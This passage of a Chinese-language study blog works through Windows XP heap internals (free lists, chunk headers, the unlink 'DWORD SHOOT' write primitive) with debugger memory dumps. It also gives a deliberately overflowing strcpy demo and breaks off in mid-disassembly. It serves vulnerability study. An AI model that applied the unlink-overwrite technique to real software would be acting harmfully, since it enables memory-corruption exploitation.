漏洞战争-cve-2010-2553
30 minute read
0x00 堆溢出基础知识
1>good link:
http://blog.csdn.net/ithzhang/article/details/12711431
http://www.mottoin.com/87277.html
http://www.voidcn.com/blog/u010797814/article/p-3924286.html
2>堆表只索引所有的空闲态堆块,已分配|占用的堆块由使用它的程序索引,空闲态堆块和占用态堆块:
堆块使用_HEAP_ENTYR结构来描述,该结构占8Byte. _HEAP_ENTRY结构之后就是供应用程序使用的区域.调用HeapAlloc函数
将返回HEAP_ENTRY之后的地址.此地址减去8Byte便可以得到_HEAP_ENTRY结构.对于已经释放的堆块,堆管理器定义了
_HEAP_FREE_ENTRY结构来描述.该结构的前八个字节与_HEAP_ENTRY结构完全相同.但增加了8个字节来存储空闲链表的头节点.
_HEAP_FREE_ENTRY是空闲态堆块中的块首(8byte)与flink,blink(4+4=8)的总和,_HEAP_FREE_ENTRY共16byte,_HEAP_ENTRY
是占用态堆块中对应的块首的结构,大小为8byte.
如下图:
3>堆溢出实质:
[alloc(HeapAlloc,malloc)对应unlink]
[free对应link]
一个空闲堆块(设为block堆块)的卸下(allocate)必定对应如下操作:
block.blink.flink=block.flink
block.flink.blink=block.blink
也即相当于这个堆块有如下操作:
[flink+4]=blink
[blink]=flink
其中flink代表下一个堆块的索引,blink代表前一个堆块的索引
通常一个堆块的分配(HeapAlloc)对应一个空闲堆块的卸下,也即对应一个DWORD SHOOT机会,可以在这个堆块分配前通过
memcopy,strcpy等操作将这个在分配前还处于空闲态的堆块的flink和blink覆盖成任意数据,这个空闲态堆块一旦发生分配
,将对应DWORD SHOOT
0day2中p169页中的"事实上,堆块的分配,释放,合并操作都能引发DWORD SHOOT,甚至快表也可以被用
来制造DWORD SHOOT"的说法有待考量,到目前,笔者只认同一个空闲堆块的卸下,也即对应0day2这句话中的"堆块的分配"能
引发DWORD SHOOT
update:2017/1/12
学习Double Free后发现堆块的释放也可以制造出一个空闲堆块的卸下,只要这个要释放的堆块相邻内存有一个空闲堆块,这
样就会由free[对应link]制造出unlink再link,而unlink对应DWORD SHOOT
4>调试堆与调试栈不同,不能直接用调试器来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而使用调试态堆管理
策略
0x01 堆溢出原理
1>0day2实例
系统:winxp sp3+vc6.0
-----------------0dayheap.c-(page:152)--------
#include <windows.h>
int main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
getchar();//将书中下面的__asm int 3改成这里的getchar(),因为实际中将od设为实时调试提示有问题
hp=HeapCreate(0,0x1000,0x10000);//创建一个0x1000=4096大小的堆
//__asm int 3,书中是__asm int 3,在winxp sp3上测试中断效果还好,改成上面的getchar()
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1);//free to freelist[2]
HeapFree(hp,0,h3);//free to freelist[2]
HeapFree(hp,0,h5);//free to freelist[4]
HeapFree(hp,0,h4);//coalese h3,h4,h5,link the large block to freelist[8]
return 0;
}
--------------------end-----------------------
编译成release版本exe
双击运行0dayheap.exe
od附加
f9
alt+e选择0dayheap.exe
在00401018的call HeapCreate处下断
00401018 FF15 08604000 call dword ptr ds:[<&KERNEL32.HeapCreate>; kernel32.HeapCreate
0040101E 8B3D 04604000 mov edi,dword ptr ds:[<&KERNEL32.HeapAll>; ntdll.RtlAllocateHeap
在0dayheap.exe的窗口中输入"a",enter
发现od没有成功中断,可能是od的原因
alt+v
t
resume all threads
中断在401018处
f8
此时eax=3a0000,也即heapcreate创建的堆的起始地址为3a0000
在寄存器窗口中右键eax,在数据窗口中跟随
003A0000 C8 00 00 00 7A 01 00 00 FF EE FF EE 00 10 00 00 ?..z..??..
003A0010 00 00 00 00 00 FE 00 00 00 00 10 00 00 20 00 00 .....?..... ..
003A0020 00 02 00 00 00 20 00 00 30 01 00 00 FF EF FD 7F .... ..0..稞
003A0030 05 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 .............
003A0040 00 00 00 00 98 05 3A 00 0F 00 00 00 F8 FF FF FF ....?:....?
003A0050 50 00 3A 00 50 00 3A 00 40 06 3A 00 00 00 00 00 P.:.P.:.@:.....
003A0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
003A0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
alt+m也可以查看堆的起始地址,如下图
在003a000那一行上右键复制一行,粘贴如下:
Memory map, 条目 15
地址=003A0000
大小=00001000 (4096.)
属主= 003A0000 (自身)
区段=
类型=Priv 00021004
访问=RW
初始访问=RW
在数据窗口中的003a0000的0x178偏移也即3a0178,是空表索引,也即3a0178指向freelist,3a0178处的值为freelist的第一项内容,如下:
003A0170 00 00 00 00 00 00 00 00 88 06 3A 00 88 06 3A 00 ........?:.?:.
free[0]=0x003a0178
free[0].flink=[3a0178]=003a0688
free[0].blink=[3a0178+4]=003a0688
003a0688处的数据窗口值如下:
003A0688 78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00 x:.x:.........
003A0698 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
free[-1]=0x003a0688
free[-1].flink=[3a0688]=003a0178 ====free[0]
free[-1].blink=[3a0688+4]=003a0178
可以看出HeapCreate产生的堆中的空表只有两项,也即只有一个堆块,且堆块索引为free[-1]+8=0x003a0690
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);//实际分配16字节(2个堆块大小),预测h1=0x3a0690
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);//实际分配16字节(2个堆块大小),预测h2=0x3a0690+16=0x3a06a0
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);//实际分配16字节(2个堆块大小),预测h3=0x3a0690+16*2=0x3a06b0
h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//实际分配16字节(2个堆块大小),预测h4=0x3a0690+16*3=0x3a06c0
h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,19);//实际分配32字节(4个堆块大小),预测h5=0x3a0690+16*4=0x3a06d0
h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//实际分配32字节(4个堆块大小),预测h6=0x3a0690+16*4+32=0x3a06f0
h1-h6共分配128个字节,128/8=16个堆单元
在六处HeapAlloc上下断
00401018 FF15 08604000 call dword ptr ds:[<&KERNEL32.HeapCreate>] ; kernel32.HeapCreate
0040101E 8B3D 04604000 mov edi,dword ptr ds:[<&KERNEL32.HeapAlloc>] ; ntdll.RtlAllocateHeap
00401024 8BF0 mov esi,eax
00401026 6A 03 push 0x3
00401028 6A 08 push 0x8
0040102A 56 push esi
0040102B FFD7 call edi -------->f2
0040102D 6A 05 push 0x5
0040102F 6A 08 push 0x8
00401031 56 push esi
00401032 8BD8 mov ebx,eax
00401034 FFD7 call edi -------->f2
00401036 6A 06 push 0x6
00401038 6A 08 push 0x8
0040103A 56 push esi
0040103B FFD7 call edi -------->f2
0040103D 6A 08 push 0x8
0040103F 6A 08 push 0x8
00401041 56 push esi
00401042 8BE8 mov ebp,eax
00401044 FFD7 call edi -------->f2
00401046 6A 13 push 0x13
00401048 6A 08 push 0x8
0040104A 56 push esi
0040104B 894424 20 mov dword ptr ss:[esp+0x20],eax
0040104F FFD7 call edi -------->f2
00401051 6A 18 push 0x18
00401053 6A 08 push 0x8
00401055 56 push esi
00401056 894424 1C mov dword ptr ss:[esp+0x1C],eax
0040105A FFD7 call edi -------->f2
f8
f8
..
(eip=0x40102d)
到40102d处eax=0x3a0688,也即h1=0x3a0688,说明预测错了,因为分配上面唯一的堆块(free[-1]=003a0688)分配以后就不
再是空闲堆块了,变成占用态的堆块,占用态的堆块是没有flink和blik的,也即占用态的堆块的索引不属于空表中,属于
应用程序.上面唯一的堆块分割以后的堆块是在0x3a0688处割下16个字节(h1的大小)后剩下的唯一的堆块
现在0x3a688处的数据如下:
003A0688 00 00 00 00 78 01 3A 00 2E 01 02 00 00 10 00 00 ....x:......
003A0698 78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00 x:.x:.........
重新预测:
h1=003a0688
h1堆块的块首在h1-8=3a0680处:
003A0680:
02 00 08 00 AA 01 0D 00 ..?..
块首的前2个字节对应当前堆块的大小(堆块的个数,每个堆块单位为8字节大小),第3-4个字节对应前一个堆块大小,这
里前2个字节为0002,也即当前堆块大小为2个堆块,第3-4字节为0008,即前一个堆块大小为8个堆块
h2=003a0698
h3=003a06a8
h4=003a06b8
h5=003a06c8
h6=003a06e8
f8
f8
...
(eip=00401036)
到00401036处eax=3a0698,也即h2=0x3a0698与预测结果一致,h2堆块的块首在h2-8=3a0690处:
003a0690:
02 00 02 00 A8 01 0B 00 ..?.
前2个字节为0002,也即当前堆块大小为2,3-4个字节为0002,也即前一个堆块大小为2
此时(h1,h2分配完成,h3还未分配)对应的空闲堆块索引(free[-1])为h2+8+8=003a06a0+8=003a06a8,其中003a06a0为空闲
堆块块首的地址,空闲堆块的索引为块首+8处,具体如下:
003A0698 00 00 00 00 00 01 3A 00 2C 01 02 00 00 10 00 00 .....:.,....
003A06A8 78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00 x:.x:.........
003A06B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
也即空闲堆块的块首为2c 01 02 00 00 10 00 00==>当前空闲堆块大小为012c,前一个堆块大小为2
此时的free[-1]=3a06a8,free[-1].flink=[3a06a8]=free[-1].blink=[3a06b0]=003a0178,依然为free[0]
f8
f8
...
(eip=0040103D)
到0040103D处eax=3a06a8,也即h3=0x3a06a8与预测结果一致,h3堆块的块首在h3-8=3a06a0处:
003A06A0 02 00 02 00 AE 01 0A 00 00 00 00 00 00 00 3A 00 ..?........:.
前2个字节为0002,也即当前堆块的大小为2,3-4个字节为0002,也即前一个堆块大小为2
此时(h1,h2,h3分配完成,h4还没分配)对应的空闲堆块索引(free[-1])为h3+8+8=3a06b0+8=3a06b8,其中003a06b0为空闲堆
块块首的地址,空闲堆块的索引为块首+8处,具体如下:
003A06B0 2A 01 02 00 00 10 00 00 78 01 3A 00 78 01 3A 00 *....x:.x:.
当前空闲堆块大小为012c-2=012a,前一个堆块大小为2
同样是free[-1].flink=free[-1].blink=003a0178=free[0]
f8
f8
...
(eip=00401046)
到00401046处eax=3a06b8,也即h4=0x3a06b8与预测结果一致,h4堆块的块首在h4-8=30a6b0处:
003A06B0 02 00 02 00 AC 01 08 00 00 00 00 00 00 00 00 00 ..?.........
当前堆块大小为2,前一个堆块大小为2
h4分配完,h5还没分配,空闲堆块索引(free[-1])为h4+8+8=30a6c0+8=30a6c8
数据如下:
003A06C0 28 01 02 00 00 10 00 00 78 01 3A 00 78 01 3A 00 (....x:.x:.
当前空闲堆块的大小为012a-2=0128,前一个堆块大小为2
同样是free[-1].flink=free[-1].blink=003a0178=free[0]
f8
f8
...
(eip=00401051)
到00401051处eax=3a06c8,也即h5=0x3a06c8与预测结果一致,h5堆块的块首在h5-8=3a06c0处:
003A06C0 04 00 02 00 A2 01 0D 00 00 00 00 00 00 00 00 00 ..?..........
当前堆块的大小为4,前一个堆块大小为2
f8
f8
...
(eip=0040105c)
到0040105c处eax=3a06e8,也即h6=0x3a06e8与预测结果一致,h6堆块的块首在h6-8=3a06e0处:
003A06E0 04 00 04 00 A6 01 08 00 00 00 00 00 00 00 00 00 ..?.........
当前堆块大小为4,前一堆块大小为4
h6分配完,空闲堆块索引(free[-1])为h6+8*3+8=3a0700+8=3a0708
数据如下:
003A0700 20 01 04 00 00 10 00 00 78 01 3A 00 78 01 3A 00 ....x:.x:.
当前空闲堆块的大小为0128-4-4=0120,前一个堆块大小为4
同样是free[-1].flink=free[-1].blink=003a0178=free[0]
在下面的3个堆块释放(call heapfree,释放h1,h3,h5,h4)的函数下断
0040105C 8B3D 00604000 mov edi,dword ptr ds:[<&KERNEL32.HeapFree>] ; ntdll.RtlFreeHeap
00401062 53 push ebx
00401063 6A 00 push 0x0
00401065 56 push esi
f2 00401066 FFD7 call edi ; ntdll.RtlAllocateHeap
00401068 55 push ebp
00401069 6A 00 push 0x0
0040106B 56 push esi
f2 0040106C FFD7 call edi ; ntdll.RtlAllocateHeap
0040106E 8B4424 10 mov eax,dword ptr ss:[esp+0x10]
00401072 50 push eax
00401073 6A 00 push 0x0
00401075 56 push esi
f2 00401076 FFD7 call edi ; ntdll.RtlAllocateHeap
00401078 8B4C24 14 mov ecx,dword ptr ss:[esp+0x14]
0040107C 51 push ecx ; ntdll.7C9301BB
0040107D 6A 00 push 0x0
0040107F 56 push esi
00401080 FFD7 call edi ; ntdll.RtlAllocateHeap
00401082 5F pop edi ; 00320036
00401083 5E pop esi ; 00320036
00401084 5D pop ebp ; 00320036
00401085 33C0 xor eax,eax
00401087 5B pop ebx ; 00320036
00401088 83C4 08 add esp,0x8
0040108B C3 retn
f8
f8
...
(eip=401068)
到401068处,h1堆块被释放,由于h1实际分配大小为2个堆单元大小(2*8=16字节),释放后将链入free[2]这个空闲链表中
,在h1释放之前只有free[0]这一个空闲链表,h1释放后会增加一个空闲链表free[2],此时free[2]这个空表只有一个结点,此
时free[0]附近数据:
eip=40105c时,也即上面释放h1之前,free[0]=3a0178,附近的数据如下:
003A0170 00 00 00 00 00 00 00 00 08 07 3A 00 08 07 3A 00 ........:.:.
003A0180 80 01 3A 00 80 01 3A 00 88 01 3A 00 88 01 3A 00 €:.€:.?:.?:.
003A0190 90 01 3A 00 90 01 3A 00 98 01 3A 00 98 01 3A 00 ?:.?:.?:.?:.
003A01A0 A0 01 3A 00 A0 01 3A 00 A8 01 3A 00 A8 01 3A 00 ?:.?:.?:.?:.
003A01B0 B0 01 3A 00 B0 01 3A 00 B8 01 3A 00 B8 01 3A 00 ?:.?:.?:.?:.
003A01C0 C0 01 3A 00 C0 01 3A 00 C8 01 3A 00 C8 01 3A 00 ?:.?:.?:.?:.
003A01D0 D0 01 3A 00 D0 01 3A 00 D8 01 3A 00 D8 01 3A 00 ?:.?:.?:.?:.
003A01E0 E0 01 3A 00 E0 01 3A 00 E8 01 3A 00 E8 01 3A 00 ?:.?:.?:.?:.
003A01F0 F0 01 3A 00 F0 01 3A 00 F8 01 3A 00 F8 01 3A 00 ?:.?:.?:.?:.
现在,eip=401068时,刚释放完h1,free[0]=3a0178,附近数据如下:
003A0170 00 00 00 00 00 00 00 00 08 07 3A 00 08 07 3A 00 ........:.:.
003A0180 80 01 3A 00 80 01 3A 00(88 06 3A 00 88 06 3A 00) €:.€:.?:.?:.
003A0190 90 01 3A 00 90 01 3A 00 98 01 3A 00 98 01 3A 00 ?:.?:.?:.?:.
003A01A0 A0 01 3A 00 A0 01 3A 00 A8 01 3A 00 A8 01 3A 00 ?:.?:.?:.?:.
003A01B0 B0 01 3A 00 B0 01 3A 00 B8 01 3A 00 B8 01 3A 00 ?:.?:.?:.?:.
003A01C0 C0 01 3A 00 C0 01 3A 00 C8 01 3A 00 C8 01 3A 00 ?:.?:.?:.?:.
003A01D0 D0 01 3A 00 D0 01 3A 00 D8 01 3A 00 D8 01 3A 00 ?:.?:.?:.?:.
003A01E0 E0 01 3A 00 E0 01 3A 00 E8 01 3A 00 E8 01 3A 00 ?:.?:.?:.?:.
003A01F0 F0 01 3A 00 F0 01 3A 00 F8 01 3A 00 F8 01 3A 00 ?:.?:.?:.?:.
不同之处是3a0188和3a018c处的003a0188变成了003a0688,而003a0688正是h1的值,而h1释放后将链入free[2]的空表,说明
3a0188正是free[2]这个位置,那么3a0180就是free[1]的位置,也即从+0x178开始,有128个元素,每个8字节大小,这
128个元素构成一个指针数组,这个数组叫做"空表索引",这个数组的每一项包括两个指针,指针代表对应空表的第一个空
闲堆块的内存地址.
f8
f8
...
(eip=40106e)
到这里h3释放完,由于h3也是两个堆块单元大小,所以h3也将链入到free[2]的空表当中
可以预测:
free[2]处的003a0688(free[2]的第一个空闲堆块的索引)对应的内存值[003a0688]=h3=003a06a8,而
[003a0688+4]=free[2]=3a0188,而[003a06a8]=free[2]=003a0188,[003a06a8+4]=003a0688,free[2]为3a0188,h3释放后
[3a0188]=3a0688,[3a0188+4]=3a06a8
实际确实如此,实际数据如下:
003A0680 02 00 08 00 AA 00 0D 00 A8 06 3A 00 88 01 3A 00 ..?..?:.?:.
003A06A0 02 00 02 00 AE 00 0A 00 88 01 3A 00 88 06 3A 00 ..?..?:.?:.
003A0180 80 01 3A 00 80 01 3A 00 88 06 3A 00 A8 06 3A 00 €:.€:.?:.?:.
如下图:
f8
f8
...
(eip=401078)
到这里h5释放完,由于h5实际分配大小为4个堆块单元大小,h5堆块释放后将链入free[4]空表中,free[4]=3a0198
可以预测:
[3a0198]=h5=003a06c8,[3a0198+4]=h5=003a06c8
[003a06c8]=3a0198,[003a06c8+4]=3a0198
实际数据如下:
003A0190 90 01 3A 00 90 01 3A 00 C8 06 3A 00 C8 06 3A 00 ?:.?:.?:.?:.
003A06C0 04 00 02 00 A2 00 0D 00 98 01 3A 00 98 01 3A 00 ..?..?:.?:.
与预测结果一致
f8
f8
...
(eip=401082)
到这里h4释放完,由于h4实际分配大小为2个堆块单元大小,h4堆块释放后将链入free[2]空表中,free[2]=3a0188
可以预测:
[free[2]]=[3a0188]=h1=3a0688,[3a0188+4]=h4=3a06b8
[h1]=[3a0688]=h3=3a06a8,[3a0688+4]=free[2]=3a0188
[h3]=[3a06a8]=h4=3a06b8,[3a06a8+4]=h1=3a0688
[h4]=[3a06b8]=3a0188,[3a06b8+4]=h3=3a06a8
实际数据如下:
003A06B0 02 00 02 00 AC 01 08 00 00 00 00 00 00 00 00 00 ..?.........
003A0180 80 01 3A 00 80 01 3A 00 88 06 3A 00 88 06 3A 00 €:.€:.?:.?:.
003A0680 02 00 08 00 AA 00 0D 00 88 01 3A 00 88 01 3A 00 ..?..?:.?:.
003A06A0 08 00 02 00 AE 00 0A 00 B8 01 3A 00 B8 01 3A 00 ..?..?:.?:.
与实际数据并不一致,因为h4释放完后,h3,h4,h5三个空闲堆块相邻,会发生合并,3个堆块大小一共为2+2+4=8个堆单元大小,
合并后将链入free[8]空表中(free[8]是128个空表中的第9个空表的索引,也即0x3a0000+0x178+8*8=0x3a01b8)
,预测:
[free[8]]=[3a01b8]=h3=3a06a8(h3,h4,h5合并后由h3索引)
[free[2]]=[3a0188]=h1=3a0688(2个堆块单元大小的空闲堆只剩下h1,原来是h1,h3,h4)
[h1]=[3a0688]=free[2]=3a0188,[h1+4]=[3a0688+4]=free[2]=3a0188
[h3]=[3a06a8]=free[8]=3a01b8,[h3+4]=[3a06a8+4]=free[8]=3a01b8
实际数据如下:
003A01B0 B0 01 3A 00 B0 01 3A 00 A8 06 3A 00 A8 06 3A 00 ?:.?:.?:.?:.
003A0180 80 01 3A 00 80 01 3A 00 88 06 3A 00 88 06 3A 00 €:.€:.?:.?:.
003A0680 02 00 08 00 AA 00 0D 00 88 01 3A 00 88 01 3A 00 ..?..?:.?:.
003A06A0 08 00 02 00 AE 00 0A 00 B8 01 3A 00 B8 01 3A 00 ..?..?:.?:.
可见,实际数据与预测结果完全一样,此时[free[0]]=[0x3a0178]=3a0708(一直不变),3a0708处数据如下:
003A0700 20 01 04 00 00 10 00 00 78 01 3A 00 78 01 3A 00 ....x:.x:.
可见当前堆块大小为0x120(个堆块单元大小),上一个堆块大小为4?
并不是这样,因为0x178偏移处并不是堆块,而是大小为128的指针数组中的第一个数组的位置,所以0x178-8并不是块首
,偏移0x178是free[0],也即free[0]=0x3a0178,而偏移0x178中存放的内容也即[free[0]]为这个指针数组中的第一个元素
的值,这个值是个指针,指向free[0]空表中的第一个堆块,此例中free[0]空表只有一个堆块,堆块的索引为3a0708,也即:
[free[0]]=[3a0178]=3a0708,且[free[0]+4]=[3a0178+4]=3a0708
而[3a0708]=[3a0708+4]=3a0178
使用堆的三种方法:
a>GetProcessHeap获得进程默认堆句柄,HeapAlloc(进程默认句柄)可以从默认堆上分配空间
b>形如HeapCreate(0,0x1000,0x10000)创建不可扩展堆,堆将启用空表,HeapAlloc从堆上分配空间
c>形如HeapCreate(0,0,0)创建可扩展堆,堆将启用快表,HeapAlloc从堆上分配空间
在此例中,由于在创建堆时使用的方法是HeapCreate(0,0x1000,0x10000),如果使用的方法是HeapCreate(0,0,0)将创建可
扩展的堆,这时堆会启用快表,指向快表的指针位于堆偏移??字节处,0day2书中同时指出快表位于0x584和0x688偏移处,通
过下面代码的调试查看快表的偏移在哪里:
-----------find-lookaside---------------
#include <windows.h>
int main()
{
HANDLE hp;
HLOCAL h1,h2,h3;
hp=HeapCreate(0,0,0);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
getchar();
HeapFree(hp,0,h1);
HeapFree(hp,0,h1);
HeapFree(hp,0,h1);
return 0;
}
------------------end-------------------
编译成release版本后,运行exe,windbg加载
dt _PEB @$peb查看进程环境块信息
0:001> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 SpareBool : 0 ''
+0x004 Mutant : 0xffffffff
+0x008 ImageBaseAddress : 0x00400000
+0x00c Ldr : 0x00241e90 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00140000 ===>进程启动创建的默认堆
+0x01c FastPebLock : 0x7c99d600 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : 0x7c921000
+0x024 FastPebUnlockRoutine : 0x7c9210e0
+0x028 EnvironmentUpdateCount : 1
+0x02c KernelCallbackTable : (null)
+0x030 SystemReserved : [1] 0
+0x034 AtlThunkSListPtr32 : 0
+0x038 FreeList : (null)
+0x03c TlsExpansionCounter : 0
+0x040 TlsBitmap : 0x7c99d5c0
+0x044 TlsBitmapBits : [2] 1
+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
+0x054 ReadOnlyStaticServerData : 0x7f6f0688 -> (null)
+0x058 AnsiCodePageData : 0x7ffa0000
+0x05c OemCodePageData : 0x7ffa0000
+0x060 UnicodeCaseTableData : 0x7ffd1000
+0x064 NumberOfProcessors : 1
+0x068 NtGlobalFlag : 0
+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
+0x078 HeapSegmentReserve : 0x100000
+0x07c HeapSegmentCommit : 0x2000
+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
+0x088 NumberOfHeaps : 5 ===>进程中共有5个堆
+0x08c MaximumNumberOfHeaps : 0x10
+0x090 ProcessHeaps : 0x7c99cfc0 -> 0x00140000 ===>进程堆指针数据
+0x094 GdiSharedHandleTable : (null)
+0x098 ProcessStarterHelper : (null)
+0x09c GdiDCAttributeList : 0
+0x0a0 LoaderLock : 0x7c99b178
+0x0a4 OSMajorVersion : 5
+0x0a8 OSMinorVersion : 1
+0x0ac OSBuildNumber : 0xa28
+0x0ae OSCSDVersion : 0x300
+0x0b0 OSPlatformId : 2
+0x0b4 ImageSubsystem : 3
+0x0b8 ImageSubsystemMajorVersion : 4
+0x0bc ImageSubsystemMinorVersion : 0
+0x0c0 ImageProcessAffinityMask : 0
+0x0c4 GdiHandleBuffer : [34] 0
+0x14c PostProcessInitRoutine : (null)
+0x150 TlsExpansionBitmap : 0x7c99d5b8
+0x154 TlsExpansionBitmapBits : [32] 0
+0x1d4 SessionId : 0
+0x1d8 AppCompatFlags : _ULARGE_INTEGER 0x0
+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
+0x1e8 pShimData : (null)
+0x1ec AppCompatInfo : (null)
+0x1f0 CSDVersion : _UNICODE_STRING "Service Pack 3"
+0x1f8 ActivationContextData : (null)
+0x1fc ProcessAssemblyStorageMap : (null)
+0x200 SystemDefaultActivationContextData : 0x00130000
+0x204 SystemAssemblyStorageMap : (null)
+0x208 MinimumStackCommit : 0
+0x018和+0x088处分别为进程默认堆和进程中堆的个数
+0x090处为进程中所有堆的地址组成的指针数组
dd 0x7c99cfc0查看进程堆数组
0:001> dd 0x7c99cfc0
7c99cfc0 00140000 00240000 00250000 00380000
7c99cfd0 003a0000 00000000 00000000 00000000
7c99cfe0 00000000 00000000 00000000 00000000
7c99cff0 00000000 00000000 00000000 00000000
或者!heap -h查看所有堆的地址
0:001> !heap -h
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (00004000 bytes committed)
2: 00240000
Segment at 00240000 to 00250000 (00006000 bytes committed)
3: 00250000
Segment at 00250000 to 00260000 (00003000 bytes committed)
4: 00380000
Segment at 00380000 to 00390000 (00002000 bytes committed)
5: 003a0000
Segment at 003a0000 to 003e0000 (00003000 bytes committed)
两种方法得到的结果一样,其中最后一个堆的地址0x003a0000是代码中HeapCreate(0,0,0)创建得到的堆地址
dt _HEAP 0x3a0000查看这个堆的结构
0:001> dt _HEAP 0x3a0000
ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY
+0x008 Signature : 0xeeffeeff
+0x00c Flags : 0x1002
+0x010 ForceFlags : 0
+0x014 VirtualMemoryThreshold : 0xfe00
+0x018 SegmentReserve : 0x100000
+0x01c SegmentCommit : 0x2000
+0x020 DeCommitFreeBlockThreshold : 0x200
+0x024 DeCommitTotalFreeThreshold : 0x2000
+0x028 TotalFreeSize : 0x229
+0x02c MaximumAllocationSize : 0x7ffdefff
+0x030 ProcessHeapsListIndex : 5
+0x032 HeaderValidateLength : 0x608
+0x034 HeaderValidateCopy : (null)
+0x038 NextAvailableTagIndex : 0
+0x03a MaximumTagIndex : 0
+0x03c TagEntries : (null)
+0x040 UCRSegments : (null)
+0x044 UnusedUnCommittedRanges : 0x003a0598 _HEAP_UNCOMMMTTED_RANGE
+0x048 AlignRound : 0xf
+0x04c AlignMask : 0xfffffff8
+0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x3a0050 - 0x3a0050 ]
+0x058 Segments : [64] 0x003a0640 _HEAP_SEGMENT
+0x158 u : __unnamed
+0x168 u2 : __unnamed
+0x16a AllocatorBackTraceIndex : 0
+0x16c NonDedicatedListLength : 1
+0x170 LargeBlocksIndex : (null)
+0x174 PseudoTagEntries : (null)
+0x178 FreeLists : [128] _LIST_ENTRY [ 0x3a1ec0 - 0x3a1ec0 ]
+0x578 LockVariable : 0x003a0608 _HEAP_LOCK
+0x57c CommitRoutine : (null)
+0x580 FrontEndHeap : 0x003a0688
+0x584 FrontHeapLockCount : 0
+0x586 FrontEndHeapType : 0x1 ''
+0x587 LastSegmentIndex : 0 ''
可以在0x178偏移处找到free[0](0号空表)
dt _LIST_ENTRY 0x3a0178
ntdll!_LIST_ENTRY
[ 0x3a1ec0 - 0x3a1ec0 ]
+0x000 Flink : 0x003a1ec0 _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]
+0x004 Blink : 0x003a1ec0 _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]
dd 0x3a0688
0:001> dd 0x3a0688
003a0688 00000000 00000000 01000004 00000000
003a0698 00000000 00000000 00000000 00000000
003a06a8 00000000 00000003 00000000 00000000
003a06b8 00000000 00000000 01000004 00000000
0x3a0000堆中能找到0号空表但是却找不到快表,0day2中说的0x688和0x584偏移处并不是快表的所在,关于快表的所在和出
现条件,暂惑不得解
2>漏洞战争实例
系统:win7 x64+vc6.0
------------------heapoverflow.c---------------------
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hHeap;
char *heap;
char str[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
hHeap=HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x1000,0xffff);
getchar();
heap=HeapAlloc(hHeap,0,0x10);
printf("heap addr:0x%08x\n",heap);
strcpy(heap,str);
HeapFree(hHeap,0,heap);
HeapDestroy(hHeap);
return 0;
}
------------------------end--------------------------
编译成release版本,生成了heapoverflow.exe,双击exe,od附加
alt+e
选择对应exe,call getchar下面一句对应如下汇编代码
0040104b |. 83c404 add esp,4
0040104B |. 83C4 04 add esp,0x4
0040104E |> 6A 10 push 0x10 ; /dwBytes = 10 (16.)
00401050 |. 6A 00 push 0x0 ; |dwFlags = 0
00401052 |. 55 push ebp ; |hHeap = 003A0000
00401053 |. FF15 08604000 call dword ptr ds:[<&KERNEL32.HeapAlloc>>; \RtlAllocateHeap
00401059 |. 8BD8 mov ebx,eax
0040105B |. 53 push ebx
0040105C |. 68 30704000 push heapover.00407030 ; ASCII "heap addr:0x%08x
"
00401061 |. E8 4A000000 call heapover.004010B0
00401066 |. 8D7C24 18 lea edi,dword ptr ss:[esp+0x18]
0040106A |. 83C9 FF or ecx,-0x1
0040106D |. 33C0 xor eax,eax
0040106F |. 83C4 08 add esp,0x8
00401072 |. F2:AE repne scas byte ptr es:[edi]
00401074 |. F7D1 not ecx ; heapover.00409E41
00401076 |. 2BF9 sub edi,ecx ; heapover.00409E41
00401078 |. 53 push ebx ; /pMemory = 7FFDD000
00401079 |. 8BC1 mov eax,ecx ; |heapover.00409E41
0040107B |. 8BF7 mov esi,edi ; |
0040107D |. 8BFB mov edi,ebx ; |
0040107F |. 6A 00 push 0x0 ; |Flags = 0
00401081 |. C1E9 02 shr ecx,0x2 ; |
